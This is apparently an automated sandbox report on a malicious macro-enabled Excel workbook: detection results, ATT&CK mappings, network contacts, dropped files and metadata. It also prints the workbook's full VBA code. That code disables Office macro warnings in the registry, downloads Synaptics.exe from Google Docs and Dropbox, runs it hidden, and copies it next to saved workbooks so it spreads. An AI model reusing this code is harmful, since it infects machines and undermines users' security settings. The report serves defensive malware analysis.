Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information queried: ProcessInformationJump to behavior

HIPS / PFW / Operating System Protection Evasion

barindex
Source: sEG2xXpg0X.xlsmOLE indicator, VBA stomping: true
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information42
Scripting
Valid Accounts3
Exploitation for Client Execution
42
Scripting
1
Process Injection
3
Masquerading
OS Credential Dumping1
Process Discovery
Remote ServicesData from Local System1
Encrypted Channel
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/Job1
Obfuscated Files or Information
Boot or Logon Initialization Scripts1
Process Injection
LSASS Memory1
File and Directory Discovery
Remote Desktop ProtocolData from Removable Media3
Non-Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account Manager1
System Information Discovery
SMB/Windows Admin SharesData from Network Shared Drive114
Application Layer Protocol
Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin HookBinary PaddingNTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput Capture3
Ingress Tool Transfer
Traffic DuplicationData Destruction
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand
SourceDetectionScannerLabelLink
sEG2xXpg0X.xlsm79%ReversingLabsDocument-Word.Trojan.Orcinius
sEG2xXpg0X.xlsm100%AviraW2000M/Dldr.Agent.17651006
sEG2xXpg0X.xlsm100%Joe Sandbox ML
No Antivirus matches
No Antivirus matches
No Antivirus matches
No Antivirus matches
NameIPActiveMaliciousAntivirus DetectionReputation
docs.google.com
142.250.191.206
truefalse
    high
    www-env.dropbox-dns.com
    162.125.3.18
    truefalse
      high
      www.dropbox.com
      unknown
      unknownfalse
        high
        NameMaliciousAntivirus DetectionReputation
        https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1false
          high
          • No. of IPs < 25%
          • 25% < No. of IPs < 50%
          • 50% < No. of IPs < 75%
          • 75% < No. of IPs
          IPDomainCountryFlagASNASN NameMalicious
          142.250.191.206
          docs.google.comUnited States
          15169GOOGLEUSfalse
          162.125.3.18
          www-env.dropbox-dns.comUnited States
          19679DROPBOXUSfalse
          Joe Sandbox version:41.0.0 Charoite
          Analysis ID:1584944
          Start date and time:2025-01-06 19:59:33 +01:00
          Joe Sandbox product:CloudBasic
          Overall analysis duration:0h 5m 59s
          Hypervisor based Inspection enabled:false
          Report type:full
          Cookbook file name:defaultwindowsofficecookbook.jbs
          Analysis system description:Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
          Number of analysed new started processes analysed:10
          Number of new started drivers analysed:0
          Number of existing processes analysed:0
          Number of existing drivers analysed:0
          Number of injected processes analysed:0
          Technologies:
          • HCA enabled
          • EGA enabled
          • AMSI enabled
          Analysis Mode:default
          Analysis stop reason:Timeout
          Sample name:sEG2xXpg0X.xlsm
          (renamed file extension from none to xlsm)
          Original Sample Name:sEG2xXpg0X
          Detection:MAL
          Classification:mal84.expl.evad.winXLSM@2/3@2/2
          EGA Information:Failed
          HCA Information:
          • Successful, ratio: 100%
          • Number of executed functions: 0
          • Number of non-executed functions: 0
          Cookbook Comments:
          • Found Word or Excel or PowerPoint or XPS Viewer
          • Attach to Office via COM
          • Scroll down
          • Close Viewer
          • Exclude process from analysis (whitelisted): dllhost.exe, sppsvc.exe, RuntimeBroker.exe, backgroundTaskHost.exe, svchost.exe
          • Excluded IPs from analysis (whitelisted): 52.113.194.132, 20.189.173.14, 52.111.229.48, 52.109.8.89, 20.42.65.93, 40.126.28.23
          • Excluded domains from analysis (whitelisted): ecs.office.com, self-events-data.trafficmanager.net, onedscolprdwus13.westus.cloudapp.azure.com, onedscolprdeus20.eastus.cloudapp.azure.com, self.events.data.microsoft.com, prod.configsvc1.live.com.akadns.net, ctldl.windowsupdate.com, cus-config.officeapps.live.com, s-0005-office.config.skype.com, prod.nexusrules.live.com.akadns.net, ecs-office.s-0005.s-msedge.net, login.live.com, s-0005.s-msedge.net, config.officeapps.live.com, us.configsvc1.live.com.akadns.net, officeclient.microsoft.com, ecs.office.trafficmanager.net, nexusrules.officeapps.live.com
          • Report size getting too big, too many NtCreateKey calls found.
          • Report size getting too big, too many NtQueryAttributesFile calls found.
          • Report size getting too big, too many NtQueryValueKey calls found.
          • Report size getting too big, too many NtReadVirtualMemory calls found.
          • VT rate limit hit for: sEG2xXpg0X.xlsm
          No simulations
          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
          162.125.3.18https://plannexcg.com/plannex_tool_3/Get hashmaliciousUnknownBrowse
            https://drive.autodesk.com/de28a225b/shares/SHd38bfQT1fb47330c993db3c422859d57c2Get hashmaliciousUnknownBrowse
              https://app.frame.io/presentations/2d6579dc-f1e9-4865-95d5-958bb921558d?component_clicked=digest_call_to_action&email_id=804d14dd-a622-4386-a24d-ac8b94986f46&email_type=pending-reviewer-inviteGet hashmaliciousUnknownBrowse
                https://www.dropbox.com/scl/fi/5r8uxa49x6mxtzyj6eule/pdf.zip?rlkey=bgar34hwvlq9j03y0pskhparp&dl=1Get hashmaliciousUnknownBrowse
                  https://www.dropbox.com/scl/fi/5r8uxa49x6mxtzyj6eule/pdf.zip?rlkey=bgar34hwvlq9j03y0pskhparp&dl=1Get hashmaliciousUnknownBrowse
                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                    www-env.dropbox-dns.comRemittance details.docxGet hashmaliciousUnknownBrowse
                    • 162.125.66.18
                    Remittance details.docxGet hashmaliciousUnknownBrowse
                    • 162.125.66.18
                    vEtDFkAZjO.exeGet hashmaliciousRL STEALER, StormKittyBrowse
                    • 162.125.66.15
                    universityform.xlsmGet hashmaliciousUnknownBrowse
                    • 162.125.66.18
                    universityform.xlsmGet hashmaliciousUnknownBrowse
                    • 162.125.66.18
                    universityform.xlsmGet hashmaliciousUnknownBrowse
                    • 162.125.66.18
                    FLKCAS1DzH.batGet hashmaliciousUnknownBrowse
                    • 162.125.65.18
                    https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0Get hashmaliciousUnknownBrowse
                    • 162.125.65.18
                    hnskdfgjgar22.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                    • 162.125.65.18
                    Setup.exeGet hashmaliciousUnknownBrowse
                    • 162.125.65.18
                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                    DROPBOXUSRemittance details.docxGet hashmaliciousUnknownBrowse
                    • 162.125.66.18
                    Remittance details.docxGet hashmaliciousUnknownBrowse
                    • 162.125.66.18
                    vEtDFkAZjO.exeGet hashmaliciousRL STEALER, StormKittyBrowse
                    • 162.125.66.15
                    universityform.xlsmGet hashmaliciousUnknownBrowse
                    • 162.125.66.18
                    universityform.xlsmGet hashmaliciousUnknownBrowse
                    • 162.125.66.18
                    universityform.xlsmGet hashmaliciousUnknownBrowse
                    • 162.125.66.18
                    FLKCAS1DzH.batGet hashmaliciousUnknownBrowse
                    • 162.125.65.18
                    https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0Get hashmaliciousUnknownBrowse
                    • 162.125.21.3
                    hnskdfgjgar22.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                    • 162.125.65.18
                    Setup.exeGet hashmaliciousUnknownBrowse
                    • 162.125.69.15
                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                    a0e9f5d64349fb13191bc781f81f42e1Drivespan.dllGet hashmaliciousUnknownBrowse
                    • 142.250.191.206
                    • 162.125.3.18
                    installer_1.05_36.8.exeGet hashmaliciousLummaCBrowse
                    • 142.250.191.206
                    • 162.125.3.18
                    setup.exeGet hashmaliciousLummaCBrowse
                    • 142.250.191.206
                    • 162.125.3.18
                    SET_UP.exeGet hashmaliciousLummaCBrowse
                    • 142.250.191.206
                    • 162.125.3.18
                    anrek.mp4.htaGet hashmaliciousLummaC StealerBrowse
                    • 142.250.191.206
                    • 162.125.3.18
                    title.mp4.htaGet hashmaliciousLummaC, PureLog Stealer, zgRATBrowse
                    • 142.250.191.206
                    • 162.125.3.18
                    Setup.exeGet hashmaliciousLummaCBrowse
                    • 142.250.191.206
                    • 162.125.3.18
                    PI ITS15235.docGet hashmaliciousDBatLoader, PureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                    • 142.250.191.206
                    • 162.125.3.18
                    un30brGAKP.exeGet hashmaliciousLummaCBrowse
                    • 142.250.191.206
                    • 162.125.3.18
                    No context
                    Process:C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE
                    File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                    Category:dropped
                    Size (bytes):118
                    Entropy (8bit):3.5700810731231707
                    Encrypted:false
                    SSDEEP:3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
                    MD5:573220372DA4ED487441611079B623CD
                    SHA1:8F9D967AC6EF34640F1F0845214FBC6994C0CB80
                    SHA-256:BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
                    SHA-512:F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
                    Malicious:false
                    Reputation:high, very likely benign file
                    Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.
                    Process:C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE
                    File Type:Composite Document File V2 Document, Cannot read section info
                    Category:dropped
                    Size (bytes):32768
                    Entropy (8bit):3.6796782051173333
                    Encrypted:false
                    SSDEEP:192:xum0pxZRtfei1pkO4pzK3rcd5kM7ffi4UMF3EiRcx+NSJm9N6tNY2pCKd561:4m0pLKiyekfnpVNUm943Yc3
                    MD5:EA905865EA1A2A4F63A75AA244B62FAB
                    SHA1:2BB898A768ABD421E1C7DC4CC8E435BF98833453
                    SHA-256:85FC9FB1B9E97C57E4AB5652D7AF556E97F6363178C882933AD11D5555948251
                    SHA-512:6C7C6FC68D34629B05B56162BD137FF71410DD331E94FBDAFCDB974DFA5179EB16BEFDD3C5F99A13D71A01978F856676F9A62AC188A989BDDCB103F57F55A8FA
                    Malicious:false
                    Reputation:low
                    Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                    Process:C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE
                    File Type:data
                    Category:dropped
                    Size (bytes):165
                    Entropy (8bit):1.4988604911361962
                    Encrypted:false
                    SSDEEP:3:6NGFFNCzQN1Ft:mSS83
                    MD5:4225D396B6293ADA43ED3321687C99C4
                    SHA1:EF68206F1E5A12F137B84BD87D3FB0D20C134B3A
                    SHA-256:0D4C69C03812206EA189EEE0B5E5C28B2C2595BAB70B3A84A4A6237F579F0A09
                    SHA-512:22BEA728498E370B54CA626508973C8C4B8AB4D78CE2238FD9AC484D74DCB3CFD7BF534BE9E13EFCC35146FF489A0AC0F6B97099A5C547C9AB1BAFFE080AAF58
                    Malicious:true
                    Reputation:moderate, very likely benign file
                    Preview:.user ..A.r.t.h.u.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
                    File type:Microsoft Excel 2007+
                    Entropy (8bit):7.91876005163438
                    TrID:
                    • Excel Microsoft Office Open XML Format document with Macro (52504/1) 54.97%
                    • Excel Microsoft Office Open XML Format document (35004/1) 36.65%
                    • ZIP compressed archive (8000/1) 8.38%
                    File name:sEG2xXpg0X.xlsm
                    File size:94'218 bytes
                    MD5:34bbce5a78b796394831e351416ef110
                    SHA1:1b11bb5f343bbe46b62eedfcbe1a213ac3e3a63c
                    SHA256:511a12eb2c0e76f2d4d6c6cfc6c9fd14c39cd4c7f28ec6a492f4cc9b5d43bffb
                    SHA512:b2239be270ffc0b770e829f3c5ae43c0e31d12438e288d5eddac3087de030355b22d72c5bfea6a0612e31418de3b8151ea909aae3a3832917b1f02de614c6062
                    SSDEEP:1536:CguZCa6S5khUIX6kP9WxQ4znOSjhLM+vGa/M1NIpPkUlB7583fjncFYIIkMF2:CgugapkhlX6kcQaPjpM+d/Ms8ULavLch
                    TLSH:8A93F1B78664351CD1A45837C43B5DB1A538521C1F02FE8C6E4AF5CC6ADBA4B264FCD8
                    File Content Preview:PK..........!.w.6.............[Content_Types].xml ...(.........................................................................................................................................................................................................
                    Icon Hash:1d356664a4a09519
                    Document Type:OpenXML
                    Number of OLE Files:1
                    Has Summary Info:
                    Application Name:
                    Encrypted Document:False
                    Contains Word Document Stream:False
                    Contains Workbook/Book Stream:True
                    Contains PowerPoint Document Stream:False
                    Contains Visio Document Stream:False
                    Contains ObjectPool Stream:False
                    Flash Objects Count:0
                    Contains VBA Macros:True
                    Author:RPC1
                    Last Saved By:Bruno
                    Create Time:2015-01-15T16:55:01Z
                    Last Saved Time:2024-07-25T19:56:08Z
                    Creating Application:Microsoft Excel
                    Security:0
                    Thumbnail Scaling Desired:false
                    Contains Dirty Links:false
                    Shared Document:false
                    Changed Hyperlinks:false
                    Application Version:16.0300
                    General
                    Stream Path:VBA/ThisWorkbook
                    VBA File Name:ThisWorkbook.cls
                    Stream Size:11862
                    Data ASCII:. . . . . . . . . . . . . . . 8 . . . / . . . = . . . # . . . . . . . . . . . . . # . . . . . . . . . . . . . . . . . @ . . . . . . M y . & . . . . . . . . . . . . . . . F . . . . . . . . . . . . . . . . . . . . s . . R 2 o B T . 5 . . . . . . . . . . . . . . . . . . . . . . x . . . . s . . R 2 o B T . 5 . . . M y . & . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . P . . . . . S L . . . . S . . . . . S . . . . 0 . L . . . . . 6 " . . . . . < . . . . . . . < . . . . . . . < . . . . . . . . .
                    Data Raw:01 16 01 00 06 00 01 00 00 ec 0a 00 00 e4 00 00 00 38 02 00 00 2f 0b 00 00 3d 0b 00 00 91 23 00 00 0c 00 00 00 01 00 00 00 86 16 cf fa 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff 40 00 ff ff 00 00 e8 11 ec ad 82 c9 1e 4d 84 79 1e b1 ea 26 b8 03 19 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00
                    Attribute VB_Name = "ThisWorkbook"
                    Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
                    Attribute VB_GlobalNameSpace = False
                    Attribute VB_Creatable = False
                    Attribute VB_PredeclaredId = True
                    Attribute VB_Exposed = True
                    Attribute VB_TemplateDerived = False
                    Attribute VB_Customizable = True
                    Dim SheetsChanged As Boolean
                    Dim SheetCount As Integer
                    
                    Private Sub Workbook_Open()
                      Dim i As Integer
                      For i = 1 To ActiveWorkbook.Sheets.Count
                        ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
                      Next i
                      
                      RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\VBAWarnings", 1, "REG_DWORD"
                      RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Word\Security\VBAWarnings", 1, "REG_DWORD"
                      
                      Application.DisplayAlerts = False
                      SheetCount = Worksheets.Count
                      
                      Call MPS
                      
                      ActiveWorkbook.Sheets(1).Select
                      SheetsChanged = False
                    End Sub
                    
                    Private Sub Workbook_BeforeClose(Cancel As Boolean)
                      If Not SheetsChanged Then
                        ActiveWorkbook.Saved = True
                      End If
                    End Sub
                    
                    Private Sub Workbook_SheetChange(ByVal Sh As Object, ByVal Target As Range)
                      SheetsChanged = True
                    End Sub
                    
                    Private Sub Workbook_NewSheet(ByVal Sh As Object)
                      SheetsChanged = True
                    End Sub
                    
                    Private Sub Workbook_SheetActivate(ByVal Sh As Object)
                      If ActiveWorkbook.Sheets.Count <> SheetCount Then
                        SheetsChanged = True
                        SheetCount = ActiveWorkbook.Sheets.Count
                      End If
                    End Sub
                    
                    Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
                      Dim i As Integer
                      Dim AIndex As Integer
                      Dim FName
                    
                      AIndex = ActiveWorkbook.ActiveSheet.Index
                    
                      If SaveAsUI = False Then
                        Cancel = True
                        Application.EnableEvents = False
                        Application.ScreenUpdating = False
                        
                        For i = 1 To ActiveWorkbook.Sheets.Count - 1
                          ActiveWorkbook.Sheets(i).Visible = xlSheetHidden
                        Next i
                        ActiveWorkbook.Save
                          
                        For i = 1 To ActiveWorkbook.Sheets.Count
                          ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
                        Next i
                        ActiveWorkbook.Sheets(AIndex).Select
                        SheetsChanged = False
                        
                        Application.ScreenUpdating = True
                        Application.EnableEvents = True
                      Else
                        Cancel = True
                        Application.EnableEvents = False
                        Application.ScreenUpdating = False
                        
                        For i = 1 To ActiveWorkbook.Sheets.Count - 1
                          ActiveWorkbook.Sheets(i).Visible = xlSheetHidden
                        Next i
                        
                        FName = Application.GetSaveAsFilename(fileFilter:="Excel alma Kitab (*.xlsm), *.xlsm")
                        If FName <> False Then
                          ActiveWorkbook.SaveAs Filename:=FName, FileFormat:=xlOpenXMLWorkbookMacroEnabled
                          SaveAsInj ActiveWorkbook.Path
                        End If
                        
                        For i = 1 To ActiveWorkbook.Sheets.Count
                          ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
                        Next i
                        ActiveWorkbook.Sheets(AIndex).Select
                        SheetsChanged = False
                            
                        Application.ScreenUpdating = True
                        Application.EnableEvents = True
                      End If
                    End Sub
                    
                    Sub SaveAsInj(DIR As String)
                      Dim FSO As Object
                      Dim FN As String
                      
                      Set FSO = CreateObject("scripting.filesystemobject")
                      FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
                      
                      If FSO.FileExists(FN) Then
                        If Not FSO.FileExists(DIR & "\~$cache1") Then
                          FileCopy FN, DIR & "\~$cache1"
                        End If
                        SetAttr (DIR & "\~$cache1"), vbHidden + vbSystem
                      End If
                    End Sub
                    
                    Function RegKeyRead(i_RegKey As String) As String
                      Dim myWS As Object
                    
                      On Error Resume Next
                      Set myWS = CreateObject("WScript.Shell")
                      RegKeyRead = myWS.RegRead(i_RegKey)
                    End Function
                    
                    Function RegKeyExists(i_RegKey As String) As Boolean
                    Dim myWS As Object
                    
                      On Error GoTo ErrorHandler
                      Set myWS = CreateObject("WScript.Shell")
                      myWS.RegRead i_RegKey
                      RegKeyExists = True
                      Exit Function
                      
                    ErrorHandler:
                      RegKeyExists = False
                    End Function
                    
                    Sub RegKeySave(i_RegKey As String,                i_Value As String,       Optional i_Type As String = "REG_SZ")
                    Dim myWS As Object
                    
                      Set myWS = CreateObject("WScript.Shell")
                      myWS.RegWrite i_RegKey, i_Value, i_Type
                    End Sub
                    
                    Sub MPS()
                      Dim FSO As Object
                      Dim FP(1 To 3), TMP, URL(1 To 3) As String
                      
                      Set FSO = CreateObject("scripting.filesystemobject")
                      FP(1) = ActiveWorkbook.Path & "\~$cache1"
                      FP(2) = ActiveWorkbook.Path & "\Synaptics.exe"
                    
                      URL(1) = "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download"
                      URL(2) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"
                      URL(3) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"
                      TMP = Environ("Temp") & "\~$cache1.exe"
                      
                      If FSO.FileExists(FP(1)) Then
                        If Not FSO.FileExists(TMP) Then
                          FileCopy FP(1), TMP
                        End If
                        Shell TMP, vbHide
                      ElseIf FSO.FileExists(FP(2)) Then
                        If Not FSO.FileExists(TMP) Then
                          FileCopy FP(2), TMP
                        End If
                        Shell TMP, vbHide
                      Else
                        If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
                          Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
                        ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
                          Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
                        ElseIf Not FSO.FileExists(TMP) Then
                          If FDW((URL(1)), (TMP)) Then
                          ElseIf FDW((URL(2)), (TMP)) Then
                          ElseIf FDW((URL(3)), (TMP)) Then
                          End If
                          If FSO.FileExists(TMP) Then
                            Shell TMP, vbHide
                          End If
                        Else
                          Shell TMP, vbHide
                        End If
                        
                      End If
                      
                    End Sub
                    
                    Function FDW(MYU, NMA As String) As Boolean
                      Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
                      If WinHttpReq Is Nothing Then
                        Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
                      End If
                    
                      WinHttpReq.Option(0) = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
                      WinHttpReq.Option(6) = AllowRedirects
                      WinHttpReq.Open "GET", MYU, False
                      WinHttpReq.Send
                      
                      If (WinHttpReq.Status = 200) Then
                        If (InStr(WinHttpReq.ResponseText, "404 Not Found") = 0) And (InStr(WinHttpReq.ResponseText, ">Not Found<") = 0) And (InStr(WinHttpReq.ResponseText, "Dropbox - Error") = 0) Then
                          FDW = True
                          Set oStream = CreateObject("ADODB.Stream")
                          oStream.Open
                          oStream.Type = 1
                          oStream.Write WinHttpReq.ResponseBody
                          oStream.SaveToFile (NMA)
                          oStream.Close
                        Else
                           FDW = False
                        End If
                      Else
                        FDW = False
                      End If
                    End Function
                    
                    

                    General
                    Stream Path:PROJECT
                    CLSID:
                    File Type:ASCII text, with CRLF line terminators
                    Stream Size:461
                    Entropy:5.226632873495315
                    Base64 Encoded:True
                    Data ASCII:I D = " { 0 0 0 0 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 0 0 0 0 0 0 0 0 } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . H e l p F i l e = " " . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " E 9 E B 4 5 9 3 4 9 9 3 4 9 9 6 4 E 9 6 4 E " . . D P B = " D 2 D 0 7 E 9 5 7 A B 2 7 A B 2 8 5 4 E 7 B B 2 1 D D 6 D 2 6 F 6 7 6 B 9 C A 1 5 3 7 1 4 C 8 3 D E C 7 9 6 1 0 9 1
                    Data Raw:49 44 3d 22 7b 30 30 30 30 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 30 30 30 30 30 30 30 30 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 48 65 6c 70 46 69 6c 65 3d 22 22 0d 0a 4e 61 6d 65 3d 22 56 42 41 50 72 6f 6a 65 63 74 22 0d 0a 48 65 6c 70 43 6f 6e 74 65 78 74 49 44 3d 22 30 22
                    General
                    Stream Path:PROJECTwm
                    CLSID:
                    File Type:data
                    Stream Size:41
                    Entropy:2.7478777776526524
                    Base64 Encoded:False
                    Data ASCII:T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . . .
                    Data Raw:54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 00 00
                    General
                    Stream Path:VBA/_VBA_PROJECT
                    CLSID:
                    File Type:data
                    Stream Size:3502
                    Entropy:4.94990470575216
                    Base64 Encoded:False
                    Data ASCII:a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o
                    Data Raw:cc 61 af 00 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fe 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00
                    General
                    Stream Path:VBA/__SRP_0
                    CLSID:
                    File Type:data
                    Stream Size:1652
                    Entropy:4.393104075833089
                    Base64 Encoded:False
                    Data ASCII:K * . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . r U . . . . . . . . . . . . . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ f . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . } _ . * 1 J ' . W . . . . . . . . . . . . . . . . . . . . . . a . . . . . . . . . . . . . . . . . . y . . . . . . . . . . . . . . . . . . . . . 9 . . . . . . . i . . . . . . . . . . . . . . . . . . . . . . . . . . . . . )
                    Data Raw:93 4b 2a af 01 00 10 00 00 00 ff ff 00 00 00 00 01 00 02 00 ff ff 00 00 00 00 01 00 00 00 00 00 00 00 00 00 01 00 02 00 00 00 00 00 00 00 01 00 05 00 07 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 00 00 72 55 80 01 00 00 80 00 00 00 80 00 00 00 80 00 00 00 04 00 00 7e 05 00 00 7e 01 00 00 7e 01 00 00 7e 01 00 00 7e 01 00 00 7e 05 00 00 7e 66 00 00 7f 00 00 00 00
                    General
                    Stream Path:VBA/__SRP_1
                    CLSID:
                    File Type:data
                    Stream Size:298
                    Entropy:3.310015148206106
                    Base64 Encoded:False
                    Data ASCII:r U . . . . . . . . . . . . . . . ~ . . . ~ . . . ~ y . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 . . . . . . . . . . . . . . . . . . . . . . . C a n c e l . . . . . . . . S h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . T a r g e t . . . . . . . . S a v e A s U I . . . . . . . . D I R . . . . . . . . i _ R e g K e y . . . . . . . . i _ V a l u e . . . . . . . . i _ T y p e . . . . . . . . M Y U . . . . . . . . N M A . . . . . . . . . .
                    Data Raw:72 55 80 00 00 00 80 00 00 00 80 00 00 00 80 00 00 00 01 00 00 7e 01 00 00 7e 01 00 00 7e 79 00 00 7f 00 00 00 00 0a 00 00 00 09 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 09 00 00 00 00 00 03 00 03 00 00 09 19 03 00 00 00 00 00 00 31 06 00 00 00 00 00 00 08 00 00 00 00 00 01 00 02 00 00 08 06 00 00 00 43 61 6e 63 65 6c 01 00 00 08 02 00 00 00 53 68 03 00
                    General
                    Stream Path:VBA/__SRP_2
                    CLSID:
                    File Type:data
                    Stream Size:1284
                    Entropy:2.289242959637628
                    Base64 Encoded:False
                    Data ASCII:r U . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . / . 8 . . . 1 . . . . . . . a . . . . . . . Y . . . . . . . . . . . . . . . ` . . . . . . . ` . . . . . . . ` . . . . . . . ` . . . . . . . ` . . . . . . . ` . . . . . . . . I . . . . . . . . . . . . . . . . . . . . . . . . . . . . . I . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . W . . . . . . . . . .
